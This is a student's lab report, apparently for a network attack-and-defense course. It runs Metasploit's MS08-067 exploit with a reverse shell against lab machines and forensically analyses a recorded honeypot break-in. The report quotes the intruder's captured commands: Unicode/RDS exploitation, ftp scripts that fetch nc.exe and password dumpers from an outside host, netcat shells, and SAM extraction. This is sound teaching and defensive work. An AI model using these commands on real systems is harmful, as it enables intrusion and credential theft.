20212914 2021-2022-2 《网络攻防实践》第六次(第八周)作业
1.实践内容
(1)动手实践Metasploit windows attacker
任务:使用metasploit软件进行windows远程渗透统计实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。
(2)取证分析实践:解码一次成功的NT系统破解攻击。
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击
攻击者如何使用这个破解工具进入并控制了系统
攻击者获得系统访问权限后做了什么
我们如何防止这样的攻击
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
(3)团队对抗实践:windows系统远程渗透攻击和分析。
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
Windows本地特权提升:主要通过DLL注入和破解本地程序安全漏洞提升本地特权;Windows敏感信息窃取:Windows系统口令密文提取技术中使用磁盘修复工具包中的rdisk工具创建SAM备份文件副本,并且使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文;Windows消踪灭迹:这里主要是攻击者攻击之后需要清除自己的痕迹,一般采取的方式有:关闭审计功能、清理事件日志;Windows远程控制与后门程序:攻击者在目标系统上完成提权、信息窃取、掩灭踪迹后为了下次能再次登录这才主机会设置后门程序。
2.实践过程
2.1 动手实践Metasploit windows attacker
1)在kali中启动Metasploit
2)使用命令search ms08_067查看漏洞详情,其返回的模块名称即我们要用的模块
使用命令use windows/smb/ms08_067_netapi表明将ms08_067作为目标漏洞。
3)使用命令show payloads查看有效的攻击载荷
使用命令set payload generic/shell_reverse_tcp设置攻击的载荷为tcp的反向连接。
4)使用命令show options查看需要设置的参数,即攻击机与靶机的IP地址。
使用命令set LHOST 192.168.75.128设置攻击机kali;
set RHOST 192.168.75.132设置靶机win2kserver。
5)使用命令show targets查看可设置的操作系统类型,使用命令set TARGET 0表示自动识别。
6)使用命令exploit开始渗透,
返回靶机shell,使用命令mkdir success在C盘目录下新建文件夹success,使用命令dir查看目录所有文件。打开靶机C盘进行验证。
2.2 取证分析实践:解码一次成功的NT系统破解攻击
1)首先用wireshark打开那个.log文件。
点击statistics-http-request,可以看到本次攻击的代码
设置限定条件为:ip.addr==172.16.1.106 and http
boot.ini是NT系统的启动文件。而前面的..%c0af..是"/"的Unicode编码
然后我们可以看到攻击者试图向服务器获取一个msadcs.dll文件,执行shell脚本数据为shell ( “cmd /c echo werd >> c : f u n ” ),根据ADM!ROX!YOUR!WORLD特征字符串,表明是msadc(2).pl工具发起的渗透攻击
因此可以得出,攻击者利用了Unicode和msadcs(2).pl工具进行攻击
2)攻击者如何使用这个破解工具进入并控制了系统?
从会话1778-80开始,攻击者开始了一连串的攻击动作,通过追踪TCP流,获取攻击者执行的命令如下。
比如通过追踪183号数据如下。
session1778-80 "cmd /c echo user johna2k > ftpcom"
session1780-80 "cmd /c echo hacker 2000 >> ftpcom"
session1782-80 "cmd /c echo get samdump.dll >> ftpcom"
session1784-80 "cmd /c echo get pdump.exe >> ftpcom"
session1786-80 "cmd /c echo get nc.exe>>ftpcom"
session1789-80 "cmd /c echo quit>>ftpcom"
session1791-80 "cmd /c ftp – s : ftpcom- n www.nether.net"
可以发现,攻击者创建了一个ftpcom脚本,并使用ftp连接www.nether.net,尝试下载 samdump.dll、pdump.exe和nc.exe,nc.exe就是我们前面提到的后门程序。
会话1791-80之后,攻击者开始进行ftp连接,但由于登录口令错误没有成功下载文件(no.313)。
接下来攻击者做了很多尝试:
- 创建另一个脚本ftpcom2,试图将破解的口令new.pass上传到FTP上,由于口令错误没有成功;
- 通过msadc2.pl工具使蜜罐主机向自己发起连接,但由于该FTP连接是非交互模式,RDS不支持交互。故攻击者无法向蜜罐主机输入指令;
- 攻击者从RDS攻击转向Unicode攻击,从会话1874-80开始执行了如下命令。
终于连接成功,下载指定文件,通过nc构建了一个远程shell通道。
session1874-80 "copy C:winntsystem32cmd.exe cmd1.exe"
session1875-80 "cmd1.exe /c open 213.116.251.162 >ftpcom"
session1876-80 "cmd1.exe /c echo johna2k >>ftpcom"
session1877-80 "cmd1.exe /c echo haxedj00 >>ftpcom"
session1879-80 "cmd1.exe /c echo get nc.exe >>ftpcom"
session1880-80 "cmd1.exe /c echo get pdump.exe >>ftpcom"
session1881-80 "cmd1.exe /c echo get samdump.dll >>ftpcom"
session1882-80 "cmd1.exe /c echo quit >>ftpcom"
session1885-80 "cmd1.exe /c ftp -s:ftpcom"
追踪1092号数据,攻击者使用命令cmd1.exe /c nc -l -p 6969 -e cmd1.exe连接6969端口(会话1887-80),获得访问权,进去交互式控制阶段。
3)攻击者获得系统访问权限后做了什么
攻击者希望获得本地Administrator权限,首先尝试信息搜集,运行net session但访问受限,又执行net users,返回主机的用户列表只有一个Administrator。
攻击者发了一个echo消息到C盘根目录文件,又尝试通过net group查看组用户、net localgroup查看本地组用户、以及net group domain admins,均失败。接下来他又做了好多好多努力但是都失败了,既然失败了就先不分析了,然后攻击者放弃了使用pdump直接提取Administrator口令密文的企图,开始转向获取SAM口令文件并破解的方法。
一通尝试之后,攻击者通过RDS正确指令语法rdisk /s-(备份关键系统信息)将SAM保存为c:har.txt。
从会话1987-80,攻击者执行指令为nc -l -p 6968 -e cmd1.exe,通过Unicode攻击再次启动了一个netcat服务。
中间他又干了一些好像没什么用的事情,最后上传了whisker.tar.gz文件,并删除了所有的ftpcom脚本文件(no.5736)。
4)如何防止这样的攻击
- 及时修补漏洞,对漏洞打上相应的补丁。
- 禁用用不着的 RDS 等服务。
- 防火墙封禁网络内部服务器发起的连接。
- 为web server 在单独的文件卷上设置虚拟根目录。
- 使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能。
- 使用 IIS Lockdown 和 URLScan 等工具加强 web server。
5)攻击者是否警觉了他的目标是一台蜜罐主机?为什么?
在 4351 号数据包,攻击者留下记录:
因此攻击者应该是警觉了目标为一台蜜罐主机
2.3 团队对抗实践:windows系统远程渗透攻击和分析
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出被攻击的同学信息、使用漏洞、相关IP地址等)
被攻击者IP:192.168.75.129
使用漏洞:ms08-067
kali中输入msfconsole启动msfconsole。
输入use windows/smb/ms08_067_netapi选择使用的漏洞。
输入set payload generic/shell_reverse_tcp设置攻击的载荷为tcp的反向连接。
输入set LHOST 192.168.75.128设置攻击机IP。
输入set RHOST 192.168.75.129设置靶机IP。
输入exploit开始攻击。
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。攻击者IP:192.168.75.128,Wireshark拦截到攻击报文。
靶机执行并返回了攻击者的命令。
3.学习中遇到的问题及解决
问题:Metasploit Windows Attack时使用载荷windows/meterpreter/reverse_tcp无法建立连接
解决:使用命令show payloads查看有效载荷,然后尝试新载荷,使用generic/shell_reverse_tcp成功。
4.实践总结
通过这一章节了解了Windows操作系统的结构和安全体系,并通过实践学习了windows渗透攻击的技术。分析NT攻击时虽然开始无从下手,但只要不懂就查,慢慢摸索,终会找到思路。感觉学到了一些知识,很充实。